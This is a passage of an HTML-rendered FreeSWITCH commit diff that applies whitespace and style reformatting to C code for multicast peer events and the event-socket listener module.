</span><span class="lines">@@ -176,22 +176,20 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (event->subclass_name && (!strcmp(event->subclass_name, MULTICAST_EVENT) ||
</span><del>-                                !strcmp(event->subclass_name, MULTICAST_PEERUP) ||
-                                !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
-                char * event_name, *sender;
</del><ins>+                                                                 !strcmp(event->subclass_name, MULTICAST_PEERUP) || !strcmp(event->subclass_name, MULTICAST_PEERDOWN))) {
+                char *event_name, *sender;
</ins><span class="cx">                 if ((event_name = switch_event_get_header(event, "orig-event-name")) &&
</span><del>-                        !strcasecmp(event_name, "HEARTBEAT") &&
-                        (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
</del><ins>+                        !strcasecmp(event_name, "HEARTBEAT") && (sender = switch_event_get_header(event, "orig-multicast-sender"))) {
</ins><span class="cx">                         struct peer_status *p;
</span><span class="cx">                         time_t now = switch_epoch_time_now(NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(p = switch_core_hash_find(globals.peer_hash, sender))) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Host %s not already in hash\n", sender);
</span><span class="cx">                                 p = switch_core_alloc(module_pool, sizeof(struct peer_status));
</span><span class="cx">                                 p->active = SWITCH_FALSE;
</span><span class="cx">                                 p->lastseen = 0;
</span><del>-                        /*} else {*/
-                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen);*/
</del><ins>+                                /*} else { */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Host %s last seen %d seconds ago\n", sender, now - p->lastseen); */
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (!p->active) {
</span><span class="lines">@@ -200,7 +198,7 @@
</span><span class="cx">                                         char lastseen[21];
</span><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", sender);
</span><span class="cx">                                         if (p->lastseen) {
</span><del>-                                                switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)p->lastseen);
</del><ins>+                                                switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) p->lastseen);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_snprintf(lastseen, sizeof(lastseen), "%s", "Never");
</span><span class="cx">                                         }
</span><span class="lines">@@ -246,11 +244,11 @@
</span><span class="cx">                 time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">                 struct peer_status *last;
</span><span class="cx">                 char *host;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
</span><span class="cx">                         switch_hash_this(cur, &key, &keylen, &value);
</span><del>-                        host = (char*) key;
-                        last = (struct peer_status*) value;
</del><ins>+                        host = (char *) key;
+                        last = (struct peer_status *) value;
</ins><span class="cx">                         if (last->active && (now - (last->lastseen)) > 60) {
</span><span class="cx">                                 switch_event_t *local_event;
</span><span class="cx">
</span><span class="lines">@@ -258,7 +256,7 @@
</span><span class="cx">                                 if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_PEERDOWN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         char lastseen[21];
</span><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Peer", host);
</span><del>-                                        switch_snprintf(lastseen, sizeof(lastseen), "%d", (int)last->lastseen);
</del><ins>+                                        switch_snprintf(lastseen, sizeof(lastseen), "%d", (int) last->lastseen);
</ins><span class="cx">                                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Lastseen", lastseen);
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Peer %s has gone down; last seen: %s\n", host, lastseen);
</span><span class="cx">
</span><span class="lines">@@ -292,14 +290,14 @@
</span><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                                 int outlen, tmplen;
</span><span class="cx">                                 EVP_CIPHER_CTX ctx;
</span><del>-                                char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+                                char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">                                 switch_uuid_t uuid;
</span><span class="cx">
</span><span class="cx">                                 switch_uuid_get(&uuid);
</span><span class="cx">                                 switch_uuid_format(uuid_str, &uuid);
</span><del>-                                len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char*)MAGIC);
</del><ins>+                                len = strlen(packet) + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + EVP_MAX_IV_LENGTH + strlen((char *) MAGIC);
</ins><span class="cx"> #else
</span><del>-                                len = strlen(packet) + sizeof(globals.host_hash) + strlen((char*) MAGIC);
</del><ins>+                                len = strlen(packet) + sizeof(globals.host_hash) + strlen((char *) MAGIC);
</ins><span class="cx"> #endif
</span><span class="cx">                                 buf = malloc(len + 1);
</span><span class="cx">                                 memset(buf, 0, len + 1);
</span><span class="lines">@@ -313,20 +311,20 @@
</span><span class="cx">                                         EVP_CIPHER_CTX_init(&ctx);
</span><span class="cx">                                         EVP_EncryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
</span><span class="cx">                                         EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
</span><del>-                                        EVP_EncryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
-                                        EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
-                                                        &outlen, (unsigned char*) packet, (int) strlen(packet));
-                                        EVP_EncryptUpdate(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
-                                                        &tmplen, (unsigned char*) MAGIC, (int) strlen((char *) MAGIC));
</del><ins>+                                        EVP_EncryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
+                                        EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
+                                                                         &outlen, (unsigned char *) packet, (int) strlen(packet));
+                                        EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
+                                                                         &tmplen, (unsigned char *) MAGIC, (int) strlen((char *) MAGIC));
</ins><span class="cx">                                         outlen += tmplen;
</span><del>-                                        EVP_EncryptFinal(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
</del><ins>+                                        EVP_EncryptFinal(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
</ins><span class="cx">                                         outlen += tmplen;
</span><span class="cx">                                         len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
</span><span class="cx">                                         *(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
</span><span class="cx">                                 } else {
</span><span class="cx"> #endif
</span><span class="cx">                                         switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
</span><del>-                                        switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
</del><ins>+                                        switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char *) MAGIC) + 1);
</ins><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -354,8 +352,8 @@
</span><span class="cx">
</span><span class="cx">         for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
</span><span class="cx">                 switch_hash_this(cur, &key, &keylen, &value);
</span><del>-                host = (char*) key;
-                last = (struct peer_status*) value;
</del><ins>+                host = (char *) key;
+                last = (struct peer_status *) value;
</ins><span class="cx">
</span><span class="cx">                 stream->write_function(stream, "Peer %s %s; last seen %d seconds ago\n", host, last->active ? "UP" : "DOWN", now - last->lastseen);
</span><span class="cx">                 i++;
</span><span class="lines">@@ -420,7 +418,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_TERM, fail);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_EVENT);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="lines">@@ -440,7 +438,6 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, fail);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef USE_NONBLOCK
</span><span class="cx">         switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
</span><span class="cx"> #endif
</span><span class="lines">@@ -454,7 +451,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">
</span><del>- fail:
</del><ins>+ fail:
</ins><span class="cx">
</span><span class="cx">         if (globals.udp_socket) {
</span><span class="cx">                 switch_socket_close(globals.udp_socket);
</span><span class="lines">@@ -512,7 +509,6 @@
</span><span class="cx">                 if ((status = switch_socket_recvfrom(addr, globals.udp_socket, 0, buf, &len)) != SWITCH_STATUS_SUCCESS || !len || !globals.running) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifdef USE_NONBLOCK
</span><span class="cx">                 if (!len) {
</span><span class="cx">                         if (SWITCH_STATUS_IS_BREAK(status)) {
</span><span class="lines">@@ -532,7 +528,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #ifdef HAVE_OPENSSL
</span><span class="cx">                 if (globals.psk) {
</span><del>-                        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+                        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">                         char *tmp;
</span><span class="cx">                         int outl, tmplen;
</span><span class="cx">                         EVP_CIPHER_CTX ctx;
</span><span class="lines">@@ -549,22 +545,21 @@
</span><span class="cx">                         EVP_CIPHER_CTX_init(&ctx);
</span><span class="cx">                         EVP_DecryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
</span><span class="cx">                         EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
</span><del>-                        EVP_DecryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
-                        EVP_DecryptUpdate(&ctx, (unsigned char*) tmp,
-                                        &outl, (unsigned char*) packet, (int) len);
-                        EVP_DecryptFinal(&ctx, (unsigned char*) tmp + outl, &tmplen);
</del><ins>+                        EVP_DecryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
+                        EVP_DecryptUpdate(&ctx, (unsigned char *) tmp, &outl, (unsigned char *) packet, (int) len);
+                        EVP_DecryptFinal(&ctx, (unsigned char *) tmp + outl, &tmplen);
</ins><span class="cx">
</span><span class="cx">                         *(tmp + outl + tmplen) = '\0';
</span><span class="cx">
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp)); */
</ins><span class="cx">                         packet = tmp;
</span><span class="cx">
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="cx">                 if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n");*/
-                        if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
-                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n");*/
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n"); */
+                        if (!strncmp((char *) MAGIC, m, strlen((char *) MAGIC))) {
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n"); */
</ins><span class="cx">                                 *m = '\0';
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failed to find entire magic string\n");
</span><span class="lines">@@ -575,7 +570,7 @@
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);*/
</del><ins>+                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet); */
</ins><span class="cx">                 if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         char *var, *val, *term = NULL, tmpname[128];
</span><span class="cx">                         switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Multicast", "yes");
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_socketmod_event_socketc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -98,7 +98,7 @@
</span><span class="cx"> typedef struct listener listener_t;
</span><span class="cx">
</span><span class="cx"> static struct {
</span><del>-        switch_mutex_t *listener_mutex;        
</del><ins>+        switch_mutex_t *listener_mutex;
</ins><span class="cx">         switch_event_node_t *node;
</span><span class="cx">         int debug;
</span><span class="cx"> } globals;
</span><span class="lines">@@ -133,8 +133,8 @@
</span><span class="cx"> {
</span><span class="cx">         uint32_t id;
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>- id = ++prefs.id;
- switch_mutex_unlock(globals.listener_mutex);
</del><ins>+        id = ++prefs.id;
+        switch_mutex_unlock(globals.listener_mutex);
</ins><span class="cx">         return id;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -147,12 +147,12 @@
</span><span class="cx"> static switch_status_t socket_logger(const switch_log_node_t *node, switch_log_level_t level)
</span><span class="cx"> {
</span><span class="cx">         listener_t *l;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         for (l = listen_list.listeners; l; l = l->next) {
</span><span class="cx">                 if (switch_test_flag(l, LFLAG_LOG) && l->level >= node->level) {
</span><del>-                        switch_log_node_t *dnode = switch_log_node_dup(node);                        
-                        
</del><ins>+                        switch_log_node_t *dnode = switch_log_node_dup(node);
+
</ins><span class="cx">                         if (switch_queue_trypush(l->log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (l->lost_logs) {
</span><span class="cx">                                         int ll = l->lost_logs;
</span><span class="lines">@@ -191,17 +191,19 @@
</span><span class="cx">         if (listener->event_queue) {
</span><span class="cx">                 while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><del>-                        if (!pop) continue;
</del><ins>+                        if (!pop)
+                                continue;
</ins><span class="cx">                         switch_event_destroy(&pevent);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t expire_listener(listener_t **listener)
</del><ins>+static switch_status_t expire_listener(listener_t ** listener)
</ins><span class="cx"> {
</span><span class="cx">         listener_t *l;
</span><span class="cx">
</span><del>-        if (!listener || !*listener) return SWITCH_STATUS_FALSE;
</del><ins>+        if (!listener || !*listener)
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">         l = *listener;
</span><span class="cx">
</span><span class="cx">         if (!l->expire_time) {
</span><span class="lines">@@ -218,12 +220,12 @@
</span><span class="cx">         switch_core_hash_destroy(&l->event_hash);
</span><span class="cx">
</span><span class="cx">         if (l->allowed_event_hash) {
</span><del>- switch_core_hash_destroy(&l->allowed_event_hash);
- }
</del><ins>+                switch_core_hash_destroy(&l->allowed_event_hash);
+        }
</ins><span class="cx">
</span><span class="cx">         if (l->allowed_api_hash) {
</span><del>- switch_core_hash_destroy(&l->allowed_api_hash);
- }
</del><ins>+                switch_core_hash_destroy(&l->allowed_api_hash);
+        }
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(l->filter_mutex);
</span><span class="lines">@@ -250,11 +252,11 @@
</span><span class="cx">         if (!listen_list.ready) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         lp = listen_list.listeners;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>-        while(lp) {
</del><ins>+        while (lp) {
</ins><span class="cx">                 int send = 0;
</span><span class="cx">
</span><span class="cx">                 l = lp;
</span><span class="lines">@@ -270,11 +272,11 @@
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (l->expire_time || !switch_test_flag(l, LFLAG_EVENTS)) {
</span><span class="cx">                         last = l;
</span><span class="cx">                         continue;
</span><del>-                }                
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 if (l->event_list[SWITCH_EVENT_ALL]) {
</span><span class="cx">                         send = 1;
</span><span class="lines">@@ -283,7 +285,7 @@
</span><span class="cx">                                 send = 1;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send && l->filters && l->filters->headers) {
</span><span class="cx">                         switch_event_header_t *hp;
</span><span class="cx">                         const char *hval;
</span><span class="lines">@@ -313,12 +315,12 @@
</span><span class="cx">                                         if (!comp_to) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (*hp->value == '/') {
</span><span class="cx">                                                 switch_regex_t *re = NULL;
</span><span class="cx">                                                 int ovector[30];
</span><span class="cx">                                                 cmp = !!switch_regex_perform(hval, comp_to, &re, ovector, sizeof(ovector) / sizeof(ovector[0]));
</span><del>-                                                switch_regex_safe_free(re);                                                
</del><ins>+                                                switch_regex_safe_free(re);
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 cmp = !strcasecmp(hval, comp_to);
</span><span class="cx">                                         }
</span><span class="lines">@@ -335,7 +337,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_mutex_unlock(l->filter_mutex);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send && switch_test_flag(l, LFLAG_MYEVENTS)) {
</span><span class="cx">                         char *uuid = switch_event_get_header(event, "unique-id");
</span><span class="cx">                         if (!uuid || strcmp(uuid, switch_core_session_get_uuid(l->session))) {
</span><span class="lines">@@ -460,19 +462,19 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_test_flag(listener, LFLAG_ASYNC)) {                
</del><ins>+        if (switch_test_flag(listener, LFLAG_ASYNC)) {
</ins><span class="cx">                 const char *var;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 launch_listener_thread(listener);
</span><span class="cx">
</span><del>-                while(switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_CONNECTED)) {
</del><ins>+                while (switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_CONNECTED)) {
</ins><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_ivr_park(session, NULL);
</span><span class="cx">
</span><span class="cx">                 switch_ivr_parse_all_events(session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var))) {
</span><span class="cx">                         switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 }
</span><span class="lines">@@ -491,7 +493,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void close_socket(switch_socket_t **sock)
</del><ins>+static void close_socket(switch_socket_t ** sock)
</ins><span class="cx"> {
</span><span class="cx">         switch_mutex_lock(listen_list.sock_mutex);
</span><span class="cx">         if (*sock) {
</span><span class="lines">@@ -524,7 +526,7 @@
</span><span class="cx">         switch_event_unbind(&globals.node);
</span><span class="cx">
</span><span class="cx">         switch_safe_free(prefs.ip);
</span><del>-        switch_safe_free(prefs.password);        
</del><ins>+        switch_safe_free(prefs.password);
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -616,25 +618,25 @@
</span><span class="cx">         listener_t *listener = NULL;
</span><span class="cx">
</span><span class="cx">         if (stream->param_event) {
</span><del>- http = switch_event_get_header(stream->param_event, "http-host");
</del><ins>+                http = switch_event_get_header(stream->param_event, "http-host");
</ins><span class="cx">                 wcmd = switch_event_get_header(stream->param_event, "command");
</span><span class="cx">                 format = switch_event_get_header(stream->param_event, "format");
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (!http) {
</span><span class="cx">                 stream->write_function(stream, "This is a web application!\n");
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+                return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         }
</span><span class="cx">         stream->write_function(stream, "Content-Type: text/xml\n\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "<?xml version=\"1.0\"?>\n");
</span><span class="cx">         stream->write_function(stream, "<root>\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!wcmd) {
</span><span class="cx">                 stream->write_function(stream, "<data><reply type=\"error\">Missing command parameter!</reply></data>\n");
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!format) {
</span><span class="cx">                 format = "xml";
</span><span class="cx">         }
</span><span class="lines">@@ -653,15 +655,15 @@
</span><span class="cx">
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
</span><del>- goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (zstr(action)) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Invalid Syntax</reply></data>\n");
</span><del>- goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_mutex_lock(listener->filter_mutex);                
</del><ins>+                switch_mutex_lock(listener->filter_mutex);
</ins><span class="cx">                 if (!listener->filters) {
</span><span class="cx">                         switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">                 }
</span><span class="lines">@@ -690,7 +692,7 @@
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Invalid Syntax</reply></data>\n");
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        filter_end:
</del><ins>+         filter_end:
</ins><span class="cx">
</span><span class="cx">                 switch_mutex_unlock(listener->filter_mutex);
</span><span class="cx">
</span><span class="lines">@@ -704,7 +706,7 @@
</span><span class="cx">
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
</span><del>- goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="lines">@@ -727,7 +729,7 @@
</span><span class="cx">
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
</span><del>- goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (loglevel) {
</span><span class="lines">@@ -753,7 +755,7 @@
</span><span class="cx">                 uint32_t count = 0, key_count = 0;
</span><span class="cx">                 uint8_t custom = 0;
</span><span class="cx">                 char *edup;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(events) && zstr(loglevel)) {
</span><span class="cx">                         stream->write_function(stream, "<data><reply type=\"error\">Missing parameter!</reply></data>\n");
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -784,7 +786,7 @@
</span><span class="cx">                 listener->id = next_id();
</span><span class="cx">                 listener->timeout = 60;
</span><span class="cx">                 listener->last_flush = switch_epoch_time_now(NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (events) {
</span><span class="cx">                         char delim = ',';
</span><span class="cx">
</span><span class="lines">@@ -793,7 +795,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 listener->format = EVENT_FORMAT_PLAIN;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         edup = strdup(events);
</span><span class="cx">
</span><span class="cx">                         if (strchr(edup, ' ')) {
</span><span class="lines">@@ -802,7 +804,7 @@
</span><span class="cx">
</span><span class="cx">                         for (cur = edup; cur; count++) {
</span><span class="cx">                                 switch_event_types_t type;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                         *next++ = '\0';
</span><span class="cx">                                 }
</span><span class="lines">@@ -824,11 +826,11 @@
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 cur = next;
</span><span class="cx">                         }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                         switch_safe_free(edup);
</span><span class="cx">
</span><span class="cx">                         if (!key_count) {
</span><span class="lines">@@ -849,9 +851,9 @@
</span><span class="cx">                 if (globals.debug > 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating event-sink listener [%u]\n", listener->id);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto end;
</span><del>-        } else if (!strcasecmp(wcmd, "destroy-listener")) {                
</del><ins>+        } else if (!strcasecmp(wcmd, "destroy-listener")) {
</ins><span class="cx">                 char *id = switch_event_get_header(stream->param_event, "listen-id");
</span><span class="cx">                 uint32_t idl = 0;
</span><span class="cx">
</span><span class="lines">@@ -881,7 +883,7 @@
</span><span class="cx">                 uint32_t idl = 0;
</span><span class="cx">                 void *pop;
</span><span class="cx">                 switch_event_t *pevent = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (id) {
</span><span class="cx">                         idl = (uint32_t) atol(id);
</span><span class="cx">                 }
</span><span class="lines">@@ -892,7 +894,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 listener->last_flush = switch_epoch_time_now(NULL);
</span><del>-                stream->write_function(stream, "<data>\n <reply type=\"success\">Current Events Follow</reply>\n");                        
</del><ins>+                stream->write_function(stream, "<data>\n <reply type=\"success\">Current Events Follow</reply>\n");
</ins><span class="cx">                 xmlize_listener(listener, stream);
</span><span class="cx">
</span><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="lines">@@ -902,22 +904,16 @@
</span><span class="cx">                                 switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><span class="cx">                                 int encode_len = (strlen(dnode->data) * 3) + 1;
</span><span class="cx">                                 char *encode_buf = malloc(encode_len);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_assert(encode_buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 memset(encode_buf, 0, encode_len);
</span><span class="cx">                                 switch_url_encode((char *) dnode->data, encode_buf, encode_len);
</span><del>-                                
</del><span class="cx">
